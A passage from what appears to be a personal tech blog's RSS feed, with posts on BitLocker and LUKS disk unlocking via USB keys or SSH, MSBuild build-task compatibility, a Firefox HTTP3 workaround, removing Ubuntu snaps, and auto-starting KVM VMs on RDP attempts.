believe in) TPM you can use either a pass-phrase or a USB startup key (file on a
USB stick) to unlock your Bitlocker encrypted drive. When I apply full disk
encryption on machines at the office it is to protect the data in case of
computer theft. For machines that have a single user (me) I use a pass-phrase
while for machines have multiple users I use a USB startup key. I carry the USB
startup key on my key chain. Using a pass-phrase or USB startup key makes the
confidentiality of the data on the system easier to understand and reason about,
which attributes to real security.</p>
<h3 id="rules-for-the-usb-startup-key">Rules for the USB startup key</h3>
<p>Since I&rsquo;m only securing against hardware theft I don&rsquo;t mind that using a long
pass-phrase is more secure. A pass-phrase is inconvenient when sharing a
computer. The USB startup key does not have to be remembered and can be copied
and/or lended out to people that are allowed to use the computer.</p>
<ul>
<li>Rule #1: Always carry the key on your key chain.</li>
<li>Rule #2: Take the key out after unlocking.</li>
<li>Rule #3: Keep a copy of the key in a safe place.</li>
<li>Rule #4: Do not give away what the key is for.</li>
</ul>
<p>NB: Always consider your threat model when implementing security measures:
Consider carefully whether or not the measures you take secure you against the
threats you want to protect yourself from.</p>
<h3 id="form-factor-with-a-ring">Form factor: with a ring</h3>
<p>A USB drive that you carry on your key chain would ideally be the size of a key,
with a ring so it can fit between your keys. This form factor is very important
for the security of this system. I feel it helps the owner to think about the
USB drive as a key and it allows the user to keep the USB key close at all
times.</p>
<h3 id="prevent-accidental-deletion">Prevent accidental deletion</h3>
<p>Normally when you insert a USB stick it will auto-mount and show the contents of
a drive. This is especially true for removable drives as the &ldquo;hidden&rdquo; flag in
MBR or the hidden partition types in GPT (recovery and reserved) are ignored by
Windows in case of exFAT, FAT16, FAT32 or NTFS on a removable drive. There is
one trick to makes accidental deletion harder: use an &ldquo;EFI&rdquo; partition type of a
GPT partitioned USB drive. This partition type is typically used for booting and
this partition is therefore not auto-mounted. All options in the Windows disk
manager are also disabled to prevent accidental modification of this partition.
Fortunately for us the partition is scanned during startup for Bitlocker key
files.</p>
<h3 id="master-key">Master key</h3>
<p>Since Bitlocker scans the partition for the right key, you may put multiple keys
on the USB drive, effectively creating a &ldquo;master&rdquo; key.</p>
<h3 id="warn-when-usb-stick-is-not-removed">Warn when USB stick is not removed</h3>
<p>We can write a &ldquo;logon&rdquo; script in Visual Basic that is run when the user logs in.
This script can warn the user to remove the USB startup key when the user has
forgotten to remove it at that point. This script will scan the removable drives
for a (connected) drive with a specific label. When the drive is detected it
will show a popup warning that is always on top and keeps re-appearing, so is
hard to ignore (but you can kill it using the task manager). Removing the drive
and pressing &ldquo;OK&rdquo; makes the pop-up go away.</p>
<p>You can use the Group Policy Editor (Run: &ldquo;gpedit.msc&rdquo;) and navigate to Logon
scripts (under: &ldquo;User Configuration\Windows Settings\Scripts\Logon&rdquo;) and
add/drop your script file there.</p>
<pre><code>Function GetRemovableDriveLetter (label)
    GetRemovableDriveLetter = &quot;&quot;
    Dim drive
    For Each drive In CreateObject(&quot;Scripting.FileSystemObject&quot;).Drives
        If drive.IsReady Then
            If drive.DriveType = 1 And drive.VolumeName = label Then
                GetRemovableDriveLetter = drive.DriveLetter
                Exit Function
            End If
        End If
    Next
End Function 

Do While GetRemovableDriveLetter(&quot;BEK&quot;)&lt;&gt;&quot;&quot;
    MsgBox vbcrlf &amp; &quot;    You MUST remove the Bitlocker Startup USB Key.     &quot; &amp; _
    vbcrlf &amp; vbcrlf &amp; vbcrlf &amp; vbcrlf &amp; vbcrlf &amp; _
    &quot;    Remove the USB key and press 'OK' to continue.&quot; &amp; _
    vbcrlf &amp; vbcrlf &amp; vbcrlf, 4112, &quot;Security Error&quot;
Loop
</code></pre>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Visual Studio&#39;s MSBuild vs. dotnet build</title>
      <link>https://www.tqdev.com/2022-visual-studio-msbuild-dotnet-build/</link>
      <pubDate>Wed, 23 Feb 2022 01:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2022-visual-studio-msbuild-dotnet-build/</guid>
      <description>&lt;p&gt;Visual Studio Community 2022 is a very advanced IDE that has very good support
for Visual Basic and the cross platform .NET 5. A C# programmer can choose to
use Visual Studio Code, but that has no (language) support for Visual Basic. And
since I was working on a Visual Basic application I was using Visual Studio
Community as an IDE. This post explains the incompatibility between .NET 5 and a
custom &amp;ldquo;Build Task&amp;rdquo; in Visual Studio Community&amp;rsquo;s build tool &amp;ldquo;MSBuild&amp;rdquo; (also
applies to Visual Studio Professional).&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Visual Studio Community 2022 is a very advanced IDE that has very good support
for Visual Basic and the cross platform .NET 5. A C# programmer can choose to
use Visual Studio Code, but that has no (language) support for Visual Basic. And
since I was working on a Visual Basic application I was using Visual Studio
Community as an IDE. This post explains the incompatibility between .NET 5 and a
custom &ldquo;Build Task&rdquo; in Visual Studio Community&rsquo;s build tool &ldquo;MSBuild&rdquo; (also
applies to Visual Studio Professional).</p>
<h3 id="what-is-msbuild">What is MSBuild?</h3>
<p>The first problem is that you may not even know that you are using &ldquo;MSBuild&rdquo; and
not &ldquo;dotnet build&rdquo; in Visual Studio. I expected Visual Studio Community to use
&ldquo;dotnet build&rdquo; to build .NET 5 projects, like it does in Visual Studio Code and
wasn&rsquo;t even aware of these two different build tools that Microsoft has.</p>
<h3 id="incompatible-build-tasks">Incompatible build tasks</h3>
<p>I&rsquo;m using a custom build task to generate view code. This code is written for
.NET 5 and my project is .NET 5 as well. It turns out that &ldquo;dotnet build&rdquo; has no
problem executing this build task.</p>
<pre><code>&lt;UsingTask
   TaskName=&quot;GenerateViews&quot;
   AssemblyFile=&quot;tools\Maussoft.Mvc.ViewGen.dll&quot;
/&gt;

&lt;Target Name=&quot;BeforeBeforeBuild&quot; BeforeTargets=&quot;BeforeBuild&quot;&gt;
  &lt;GenerateViews /&gt;
&lt;/Target&gt;
</code></pre>
<p>MSBuild on the other hand can only run .Net 4.8 tasks and therefore this pure
.NET 5 application in the latest Visual Studio, requires me to recompile my task
(view generator) for .NET 4.8. This is very odd and unexpected in my opinion.
Also I feel this is not very well documented.</p>
<h3 id="workaround-condition-msbuildruntimetype">Workaround: Condition &ldquo;MSBuildRuntimeType&rdquo;</h3>
<p>Instead of modifying the project file you can make the project file compatible
with both &ldquo;MSBuild&rdquo; and &ldquo;dotnet build&rdquo; by using a &ldquo;Condition&rdquo; property:</p>
<pre><code>&lt;UsingTask 
  Condition=&quot;'$(MSBuildRuntimeType)' != 'Core'&quot;
  TaskName=&quot;GenerateViews&quot;
  AssemblyFile=&quot;tools\win\Maussoft.Mvc.ViewGen.dll&quot;
/&gt;

&lt;UsingTask
  Condition=&quot;'$(MSBuildRuntimeType)' == 'Core'&quot;
  TaskName=&quot;GenerateViews&quot;
  AssemblyFile=&quot;tools\Maussoft.Mvc.ViewGen.dll&quot;
/&gt;
</code></pre>
<p>As you can see I use the &ldquo;$(MSBuildRuntimeType)&rdquo; parameter that is not set to
&lsquo;Core&rsquo; when building with MSBuild and allows you to differentiate between the
.NET 4.8 compiled view generator (for Visual Studio Community) and the
cross-platform .NET 5 view generator (for Visual Studio Code).</p>
<h3 id="conclusion">Conclusion</h3>
<p>Once you know that Microsoft didn&rsquo;t upgrade their MSBuild build tool to .NET 5
you understand that it can&rsquo;t run .NET 5 custom tasks. I feel this is unexpected
and not well documented and it may cost you a lot of time (as it did for me). I
wish I could recommend Visual Basic programmers to switch to the paid &ldquo;Rider&rdquo;
IDE product (by JetBrains), but it&rsquo;s language support for Visual Basic is
disappointing. On the upside: It is cross-platform, has a very good developer
experience and allows you to use &ldquo;dotnet build&rdquo; instead of &ldquo;MSBuild&rdquo; to build
.NET 5 projects.</p>
]]></content:encoded>
    </item>
    <item>
      <title>LUKS with USB unlock</title>
      <link>https://www.tqdev.com/2022-luks-with-usb-unlock/</link>
      <pubDate>Fri, 21 Jan 2022 21:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2022-luks-with-usb-unlock/</guid>
      <description>&lt;p&gt;I feel that using full disk encryption of laptops is a must. Not to protect
against attacks with physical access (to the unencrypted boot loader or
unprotected BIOS), but to avoid leaking data when the laptop is either lost or
stolen. Entering a long passphrase is not very convenient, especially when you
are sharing the device with multiple people. This post will explain how to
unlock your computer by inserting a USB drive containing a key file, while still
allowing to unlock using a passphrase. At the end of the post we describe how to
conveniently hide the USB drive in Windows and Linux.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I feel that using full disk encryption of laptops is a must. Not to protect
against attacks with physical access (to the unencrypted boot loader or
unprotected BIOS), but to avoid leaking data when the laptop is either lost or
stolen. Entering a long passphrase is not very convenient, especially when you
are sharing the device with multiple people. This post will explain how to
unlock your computer by inserting a USB drive containing a key file, while still
allowing to unlock using a passphrase. At the end of the post we describe how to
conveniently hide the USB drive in Windows and Linux.</p>
<p>
  
    <img src="/uploads/2022/luks-usb-keys_hu_b99f96559f01c7f1.webp" alt="USB keys for LUKS disk encryption" width="474" style="max-width: 474px;" />
  
</p>
<h2 id="instructions">Instructions</h2>
<p>I have tested the below steps on Ubuntu 22.04 and these are expected to be
correct for any recent Debian based distribution.</p>
<ol>
<li>Install the &ldquo;uuid&rdquo; tool</li>
</ol>
<pre tabindex="0"><code>sudo apt install uuid
</code></pre><ol start="2">
<li>Create a random key name using the &ldquo;uuid&rdquo; tool:</li>
</ol>
<pre tabindex="0"><code>uuid
</code></pre><p>will show a random UUID, mine was:</p>
<pre tabindex="0"><code>85125e5e-7bc4-11ec-afea-67650910c179
</code></pre><ol start="3">
<li>Create a 256 byte key file with random data (.lek = LUKS Encryption Key):</li>
</ol>
<pre tabindex="0"><code>dd if=/dev/urandom bs=1 count=256 &gt; 85125e5e-7bc4-11ec-afea-67650910c179.lek
</code></pre><ol start="4">
<li>Insert a USB drive. It gets mounted somewhere in &ldquo;/media&rdquo;, let&rsquo;s find it:</li>
</ol>
<pre tabindex="0"><code>lsblk
</code></pre><p>will show that the 16GB USB stick is mounted as &ldquo;/media/maurits/B54D-B744&rdquo;:</p>
<pre tabindex="0"><code>NAME                   MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT
sdb                      8:0    1  14,7G  0 disk  
└─sdb1                   8:1    1  14,7G  0 part  /media/maurits/B54D-B744
...
</code></pre><ol start="5">
<li>Copy the key file to the USB drive:</li>
</ol>
<pre tabindex="0"><code>cp 85125e5e-7bc4-11ec-afea-67650910c179.lek /media/maurits/B54D-B744
</code></pre><ol start="6">
<li>Find the encrypted volume:</li>
</ol>
<pre tabindex="0"><code>sudo blkid --match-token TYPE=crypto_LUKS -o device
</code></pre><p>will show:</p>
<pre tabindex="0"><code>/dev/sda3
</code></pre><ol start="5">
<li>Add the key file to the LUKS volume:</li>
</ol>
<pre tabindex="0"><code>sudo cryptsetup luksAddKey /dev/sda3 85125e5e-7bc4-11ec-afea-67650910c179.lek
</code></pre><p>This does not affect the existing hand-entered passphrase from the installer (in
slot 0).</p>
<ol start="6">
<li>Delete the key file (it is loaded in LUKS and copied to the USB drive):</li>
</ol>
<pre tabindex="0"><code>rm 85125e5e-7bc4-11ec-afea-67650910c179.lek
</code></pre><ol start="7">
<li>Edit /etc/crypttab. You should see a line like:</li>
</ol>
<pre tabindex="0"><code>sda3_crypt UUID=b9570e0f-3bd3-40b0-801f-ee20ac460207 none luks,discard
</code></pre><p>Modify it to:</p>
<pre tabindex="0"><code>sda3_crypt UUID=b9570e0f-3bd3-40b0-801f-ee20ac460207 85125e5e-7bc4-11ec-afea-67650910c179 luks,discard,keyscript=/bin/luksunlockusb
</code></pre><ol start="8">
<li>Add a script that will search for the key on USB drives during boot:</li>
</ol>
<pre tabindex="0"><code>cat &lt;&lt; &#34;END&#34; &gt; luksunlockusb
#!/bin/sh
set -e
if [ ! -e /mnt ]; then
    mkdir -p /mnt
    sleep 3
fi
for usbpartition in /dev/disk/by-id/usb-*-part1; do
    usbdevice=$(readlink -f $usbpartition)
    if mount -t vfat $usbdevice /mnt 2&gt;/dev/null; then
        if [ -e /mnt/$CRYPTTAB_KEY.lek ]; then
            cat /mnt/$CRYPTTAB_KEY.lek
            umount $usbdevice
            exit
        fi
        umount $usbdevice
    fi
done
/lib/cryptsetup/askpass &#34;Insert USB key and press ENTER: &#34;
END
</code></pre><ol start="9">
<li>Make the script executable and move it to the right location:</li>
</ol>
<pre tabindex="0"><code>chmod 755 luksunlockusb
sudo mv luksunlockusb /bin/luksunlockusb
</code></pre><ol start="10">
<li>Debian 11 only, add some modules to the <code>/etc/initramfs-tools/modules</code> file:</li>
</ol>
<pre tabindex="0"><code>vfat
nls_cp437
nls_ascii
usb_storage
</code></pre><ol start="11">
<li>Include the &ldquo;luksunlockusb&rdquo; script (and modules) in the initial ram file
system using:</li>
</ol>
<pre tabindex="0"><code>sudo update-initramfs -u
</code></pre><ol start="12">
<li>Done. Reboot and enjoy!</li>
</ol>
<p>Note that next to inserting the USB drive you can still enter the old passphrase
during the boot even though the script has changed the prompt.</p>
<h3 id="creating-a-hidden-partition">Creating a hidden partition</h3>
<p>In order to hide the USB drive (prevent the partition from mounting in Linux and
Windows) you can create a new GPT partition table on the USB drive and add only
a bootable EFI Startup Partition (ESP) to hold your keys. This partition must be
the first partition on the drive and have a minimum size of 16 megabytes.
Technically it may contain any other content and may be followed by one or more
partitions of any type. I prefer to leave them with only this single hidden
partition as it prevents (non-technical) people from using the USB stick as a
drive (I use key shaped USB drives). You can find some of my scripts on my
GitHub:</p>
<p><a href="https://github.com/mevdschee/bitlocker-luks-tools">https://github.com/mevdschee/bitlocker-luks-tools</a></p>
<h3 id="alternative-passdev-keyscript">Alternative: &ldquo;passdev&rdquo; keyscript</h3>
<p>Some people say that one should use the (Debian) included &ldquo;passdev&rdquo; keyscript
(see: <code>/lib/cryptsetup/scripts/passdev</code>). You can set it to wait for a USB drive
with label &lsquo;<code>USB_ENC_KEY</code>&rsquo; that contains the file
&lsquo;/85125e5e-7bc4-11ec-afea-67650910c179.lek&rsquo; for a maximum of 10 seconds using:</p>
<pre tabindex="0"><code>sda3_crypt UUID=b9570e0f-3bd3-40b0-801f-ee20ac460207 /dev/disk/by-label/USB_ENC_KEY:/85125e5e-7bc4-11ec-afea-67650910c179.lek:10 luks,discard,keyscript=passdev
</code></pre><p>Note that Debian 11 does NOT support the timeout parameter and also that it
doesn&rsquo;t properly unmount the drive, causing the start-job to hang for 1 minute
and 30 seconds. I do recommend writing your own keyscript instead of using
passdev.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://stackoverflow.com/questions/19713918/how-to-load-luks-passphrase-from-usb-falling-back-to-keyboard">How to load LUKS passphrase from USB, falling back to keyboard?</a></li>
<li><a href="https://binblog.info/2008/12/04/using-a-usb-key-for-the-luks-passphrase/">Using a USB key for the LUKS passphrase</a></li>
<li><a href="https://github.com/mevdschee/bitlocker-luks-tools">GitHub (mevdschee): Bitlocker and LUKS tools</a></li>
<li><a href="https://tqdev.com/2021-why-i-use-bitlocker-without-tpm">Why I use Bitlocker without TPM</a></li>
<li><a href="https://tqdev.com/2022-luks-with-ssh-unlock">TQdev.com: LUKS with SSH unlock</a></li>
<li><a href="https://tqdev.com/2023-luks-with-https-unlock">TQdev.com: LUKS with HTTPS unlock</a></li>
<li><a href="https://gist.github.com/da-n/4c77d09720f3e5989dd0f6de5fe3cbfb">Configuration for passwordless root filesystem</a></li>
<li><a href="https://www.arminpech.de/2018/11/18/unlock-luks-root-device-on-lvm-by-an-usb-key/">Debian: Unlock LUKS root device on LVM by an USB key</a></li>
<li><a href="https://askubuntu.com/questions/59487/how-to-configure-lvm-luks-to-autodecrypt-partition/90911#90911">How to configure LVM &amp; LUKS to autodecrypt partition?</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>LUKS with SSH unlock</title>
      <link>https://www.tqdev.com/2022-luks-with-ssh-unlock/</link>
      <pubDate>Sat, 15 Jan 2022 11:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2022-luks-with-ssh-unlock/</guid>
      <description>&lt;p&gt;I feel that using full disk encryption of servers is a must. Not to protect
against attacks with physical access (to the unencrypted boot loader or
unprotected BIOS), but to avoid leaking data when a disk or computer is either
stolen or replaced. But what do you do when you need to reboot your server and
have no console access to enter the passphrase? This post will explain how to
run a simple SSH server during the boot process to allow remote unlocking of the
encrypted root partition.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I feel that using full disk encryption of servers is a must. Not to protect
against attacks with physical access (to the unencrypted boot loader or
unprotected BIOS), but to avoid leaking data when a disk or computer is either
stolen or replaced. But what do you do when you need to reboot your server and
have no console access to enter the passphrase? This post will explain how to
run a simple SSH server during the boot process to allow remote unlocking of the
encrypted root partition.</p>
<h3 id="installing-and-configuring-the-ssh-server">Installing and configuring the SSH server</h3>
<p>Install the &ldquo;dropbear&rdquo; SSH server into the initial ram file system with:</p>
<pre><code>sudo apt install dropbear-initramfs
</code></pre>
<p>You are expected to see the message:</p>
<pre><code>dropbear: WARNING: Invalid authorized_keys file, remote unlocking of cryptroot via SSH won't work!
</code></pre>
<p>You now need to add your public key to the initramfs:</p>
<pre><code>sudo nano /etc/dropbear-initramfs/authorized_keys
</code></pre>
<p>Also edit &ldquo;/etc/dropbear-initramfs/config&rdquo; using</p>
<pre><code>sudo nano /etc/dropbear-initramfs/config
</code></pre>
<p>And change &ldquo;DROPBEAR_OPTIONS&rdquo; to:</p>
<pre><code>DROPBEAR_OPTIONS=&quot;-I 300 -j -k -p 2222 -s&quot;
</code></pre>
<p>Which sets the disconnect timeout to 300 seconds, disables local and remote port
forwarding, sets the listening port to 2222 and disables password logins.</p>
<p>Unless you use DHCP you need to change &ldquo;/etc/initramfs-tools/initramfs.conf&rdquo; to
set your IP configuration, change &ldquo;IP&rdquo; to:</p>
<pre><code>IP=10.0.0.10::10.0.0.1:255.255.255.0:bastion
</code></pre>
<p>This will set your IP address to 10.0.0.10, your gateway to 10.0.0.1, your
netmask to 255.255.255.0 and your hostname to &ldquo;bastion&rdquo;.</p>
<p>Save the altered files and in order to rebuild the initial ram file system use
the following command:</p>
<pre><code>sudo update-initramfs -u
</code></pre>
<p>This will take several seconds on a fast machine.</p>
<h3 id="connect-over-the-internet">Connect over the Internet</h3>
<p>Since we have the SSH server listening on port 2222 you need to forward port
2222 to the server (if you want to unlock over the Internet). You need to
connect from to your server (during the unlocking phase) using the following
command:</p>
<pre><code>ssh root@10.0.0.10 -p 2222
</code></pre>
<p>You may want to replace 10.0.0.10 with your public IP address or hostname. After
connecting run:</p>
<pre><code>cryptroot-unlock
</code></pre>
<p>This will allow you to enter a passphrase to unlock your root partition and
continue the boot process.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.dwarmstrong.org/remote-unlock-dropbear/">Remotely unlock a LUKS-encrypted Linux server using Dropbear</a></li>
<li><a href="https://www.arminpech.de/2019/12/23/debian-unlock-luks-root-partition-remotely-by-ssh-using-dropbear/">Debian: Unlock LUKS root partition remotely by SSH using dropbear</a></li>
<li><a href="https://iotechonline.com/luks-encryption-enable-remote-ssh-unlocking/">LUKS encryption: Enable remote SSH unlocking</a></li>
<li><a href="https://tqdev.com/2022-luks-with-usb-unlock">TQdev.com: LUKS with USB unlock</a></li>
<li><a href="https://tqdev.com/2023-luks-with-https-unlock">TQdev.com: LUKS with HTTPS unlock</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Firefox wont load and/or uses high CPU</title>
      <link>https://www.tqdev.com/2022-firefox-wont-load-and-or-uses-high-cpu/</link>
      <pubDate>Thu, 13 Jan 2022 13:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2022-firefox-wont-load-and-or-uses-high-cpu/</guid>
      <description>&lt;p&gt;Firefox has a bug in its HTTP3 implementation causing the browser to hang or use
a lot of CPU. You can temporarily disable HTTP3 as a workaround for the problem.
You need to go to &amp;ldquo;about:config&amp;rdquo; and set &amp;ldquo;network.http.http3.enabled&amp;rdquo; to
&amp;ldquo;false&amp;rdquo;. In this post I&amp;rsquo;ll show you how to do this using a script on Linux.&lt;/p&gt;
&lt;h3 id=&#34;on-linux&#34;&gt;On Linux&lt;/h3&gt;
&lt;p&gt;Disable HTTP3 (as a user preference):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &#39;user_pref(&amp;quot;network.http.http3.enabled&amp;quot;, false);&#39; | tee -a \
$(find ~/.mozilla -name prefs.js | sed &amp;quot;s/prefs/user/g&amp;quot; | xargs)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Revert disabling HTTP3:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Firefox has a bug in its HTTP3 implementation causing the browser to hang or use
a lot of CPU. You can temporarily disable HTTP3 as a workaround for the problem.
You need to go to &ldquo;about:config&rdquo; and set &ldquo;network.http.http3.enabled&rdquo; to
&ldquo;false&rdquo;. In this post I&rsquo;ll show you how to do this using a script on Linux.</p>
<h3 id="on-linux">On Linux</h3>
<p>Disable HTTP3 (as a user preference):</p>
<pre><code>echo 'user_pref(&quot;network.http.http3.enabled&quot;, false);' | tee -a \
$(find ~/.mozilla -name prefs.js | sed &quot;s/prefs/user/g&quot; | xargs)
</code></pre>
<p>Revert disabling HTTP3:</p>
<pre><code>sed -i &quot;/network.http.http3.enabled/d&quot; \
$(find ~/.mozilla -name prefs.js | sed &quot;s/prefs/user/g&quot; | xargs)
</code></pre>
<p>You need to execute the script when Firefox is not running.</p>
<p>I hope this helps.</p>
<p>NB: I have heard people report that this bug is now resolved, so updating to the
latest version might solve the problem as well.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Remove Snap Store and avoid using snaps</title>
      <link>https://www.tqdev.com/2022-remove-snap-store-and-avoid-using-snaps/</link>
      <pubDate>Tue, 11 Jan 2022 01:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2022-remove-snap-store-and-avoid-using-snaps/</guid>
      <description>&lt;p&gt;I was not very pleased to find that Ubuntu replaced &amp;ldquo;Software&amp;rdquo; application with
&amp;ldquo;Snap Store&amp;rdquo; in the latest software updates. I don&amp;rsquo;t like snaps anyway, so this
was a good reason to both get rid of all installed snaps. Also I removed the
snap-store (which is a snap as well) and installed the old (Gnome) Software
application. In this post I explain you how to do this.&lt;/p&gt;
&lt;h3 id=&#34;step-1-get-rid-of-all-installed-snaps&#34;&gt;Step 1: Get rid of all installed &amp;ldquo;snaps&amp;rdquo;&lt;/h3&gt;
&lt;p&gt;First lets see what snaps are in use:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I was not very pleased to find that Ubuntu replaced &ldquo;Software&rdquo; application with
&ldquo;Snap Store&rdquo; in the latest software updates. I don&rsquo;t like snaps anyway, so this
was a good reason to both get rid of all installed snaps. Also I removed the
snap-store (which is a snap as well) and installed the old (Gnome) Software
application. In this post I explain you how to do this.</p>
<h3 id="step-1-get-rid-of-all-installed-snaps">Step 1: Get rid of all installed &ldquo;snaps&rdquo;</h3>
<p>First lets see what snaps are in use:</p>
<pre><code>sudo snap list
</code></pre>
<p>Now we want to get rid of all snaps</p>
<pre><code>sudo snap remove $(snap list | awk '!/^Name|^core|^snapd/ {print $1}')
sudo snap remove core &amp;&amp; sudo snap remove snapd
</code></pre>
<p>This may take a while.</p>
<h3 id="step-2-get-rid-of-snapd-itself">Step 2: Get rid of &ldquo;snapd&rdquo; itself</h3>
<p>First we stop the &ldquo;snapd&rdquo; service:</p>
<pre><code>sudo systemctl stop snapd
</code></pre>
<p>Now we can remove &ldquo;snapd&rdquo; and related packages.</p>
<pre><code>sudo apt remove --purge -y snapd gnome-software-plugin-snap
</code></pre>
<p>To prevent &ldquo;snapd&rdquo; from automatically installing we can set it to &ldquo;hold&rdquo;:</p>
<pre><code>sudo apt-mark hold snapd
</code></pre>
<p>Now the package cannot be installed, upgraded, removed, or purged accidentally.
Now run:</p>
<pre><code>rm -rf ~/snap
sudo rm -rf /snap
sudo rm -rf /var/snap
sudo rm -rf /var/lib/snapd
</code></pre>
<p>This will remove some left-over directories.</p>
<h3 id="step-3-get-back-the-old-software-application">Step 3: Get back the old Software application</h3>
<p>Install &ldquo;GNOME Software Center&rdquo; using:</p>
<pre><code>sudo apt install --no-install-recommends gnome-software
</code></pre>
<p>This will avoid installing &ldquo;gnome-software-plugin-snap&rdquo; and
&ldquo;gnome-software-plugin-flatpak&rdquo; which are container plugins.</p>
<h3 id="conclusion">Conclusion</h3>
<p>Not everybody likes their applications as snaps. Snaps have security
implications, use a lot of disk space and are slow to start up. I feel Ubuntu is
pushing snaps harder than they should. This post has helped you to avoid using
snaps. Apparently some people agree with me as
<a href="https://linuxmint.com/">Linux Mint</a> is going the same route and has this
configuration (blocking snaps) by default.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://askubuntu.com/questions/1252134/has-ubuntu-software-been-renamed-to-snap-store">AskUbuntu - Has &lsquo;Ubuntu Software&rsquo; been renamed to &lsquo;Snap Store&rsquo;?</a></li>
<li><a href="https://askubuntu.com/questions/1309144/how-do-i-remove-all-snaps-and-snapd-preferably-with-a-single-command">AskUbuntu - How do I remove all snaps and snapd, preferably with a single command?</a></li>
<li><a href="https://askubuntu.com/questions/1035915/how-to-remove-snap-store-from-ubuntu">AskUbuntu - How to remove snap store from Ubuntu?</a></li>
<li><a href="https://lemontreesites.com/blog/2020/07/07/how-to-enable-snap-applications-support-in-linux-mint-20-if-you-really-need-to-use-snap/">LemonTreeSites - How to Enable Snap Applications Support in Linux Mint</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Boot RDP connected VM on-demand</title>
      <link>https://www.tqdev.com/2022-boot-rdp-connected-vm-on-demand/</link>
      <pubDate>Tue, 04 Jan 2022 12:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2022-boot-rdp-connected-vm-on-demand/</guid>
      <description>&lt;p&gt;I&amp;rsquo;m running a Ubuntu Server 20.04 LTS as (headless) KVM host for my Windows VMs.
When somebody tries to connect to a powered off VM via RDP, I want that VM to
power on. Fortunately all RDP connections are tunneled over SSH and the
&amp;ldquo;auth.log&amp;rdquo; logs these failed attempts:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Jan  2 08:41:53 bastion sshd[26080]: error: connect_to win10-vm1 port 3389: failed.
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&#34;bash-script-that-responds-to-this-log-line&#34;&gt;Bash script that responds to this log line&lt;/h3&gt;
&lt;p&gt;I wrote a small bash script that continuously reads lines from
&amp;ldquo;/var/log/auth.log&amp;rdquo; and tries to start virtual machines (called &amp;ldquo;domains&amp;rdquo; in
KVM) with the name of the host that the RDP connection (on port 3389) is made
to. This is the script &amp;ldquo;wake-domain.sh&amp;rdquo;:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I&rsquo;m running a Ubuntu Server 20.04 LTS as (headless) KVM host for my Windows VMs.
When somebody tries to connect to a powered off VM via RDP, I want that VM to
power on. Fortunately all RDP connections are tunneled over SSH and the
&ldquo;auth.log&rdquo; logs these failed attempts:</p>
<pre><code>Jan  2 08:41:53 bastion sshd[26080]: error: connect_to win10-vm1 port 3389: failed.
</code></pre>
<h3 id="bash-script-that-responds-to-this-log-line">Bash script that responds to this log line</h3>
<p>I wrote a small bash script that continuously reads lines from
&ldquo;/var/log/auth.log&rdquo; and tries to start virtual machines (called &ldquo;domains&rdquo; in
KVM) with the name of the host that the RDP connection (on port 3389) is made
to. This is the script &ldquo;wake-domain.sh&rdquo;:</p>
<pre><code>tail -F /var/log/auth.log | while read line || { sleep 1 ; continue; }; do
    if [[ $line =~ error:\ connect_to\ ([-a-zA-Z0-9]+)\ port\ 3389 ]]; then
        /usr/bin/virsh start ${BASH_REMATCH[1]}
    fi
done
</code></pre>
<p>These are the virtual machines I have (as reported by &ldquo;virsh list&rdquo;):</p>
<pre><code> Id   Name        State
---------------------------
 3    win10-vm1   running
 -    win10-vm2   shut off
</code></pre>
<p>I&rsquo;m using Remmina to connect to the machine &ldquo;win10-vm2&rdquo; over the internet using
SSH tunneling to the KVM host. This SSH tunneled RDP connection will fail. This
will lead to the log line:</p>
<pre><code>Jan  2 09:40:23 bastion sshd[26082]: error: connect_to win10-vm2 port 3389: failed.
</code></pre>
<p>This line will be read by the above shell script and automatically start the
virtual machine using:</p>
<pre><code>virsh start win10-vm2
</code></pre>
<p>This means that if you then retry the connection it might succeed. This is not
pretty as the user receives an error on the first attempt, but it is good enough
for my use case.</p>
<h3 id="static-ip-addresses-and-hostfile-entries">Static IP addresses and hostfile entries</h3>
<p>In order for this setup to work, you need to be able to identify the VMs by
name. You can simply add the IP addresses of the virtual machines to the
&ldquo;/etc/hosts&rdquo; file of the server:</p>
<pre><code># libvirt  
192.168.122.11     win10-vm1
192.168.122.12     win10-vm2
</code></pre>
<p>You also need to register the MAC address in the network configuration of KVM as
described in one of my earlier posts:</p>
<p><a href="https://tqdev.com/2020-kvm-network-static-ip-addresses">https://tqdev.com/2020-kvm-network-static-ip-addresses</a></p>
<h3 id="installing-the-bash-script-as-a-service">Installing the bash script as a service</h3>
<p>In order to create a service we create the service definition in
&ldquo;wake-domain.service&rdquo;:</p>
<pre><code>[Unit]
Description=Service to start KVM domain on failed RDP connection
#Documentation=
#After=networking.service
[Service]
Type=simple
User=root
Group=root
TimeoutStartSec=0
Restart=on-failure
RestartSec=30s
#ExecStartPre=
ExecStart=/usr/local/bin/wake-domain.sh
SyslogIdentifier=Wakedomain
#ExecStop=
[Install]
WantedBy=multi-user.target
</code></pre>
<p>The installation bash script is stored in &ldquo;install.sh&rdquo; and reads:</p>
<pre><code>#!/bin/bash
sudo systemctl stop wake-domain
sudo systemctl disable wake-domain
sudo cp wake-domain.service /etc/systemd/system/
sudo cp wake-domain.sh /usr/local/bin/
sudo systemctl daemon-reload
sudo systemctl enable wake-domain
sudo systemctl start wake-domain
</code></pre>
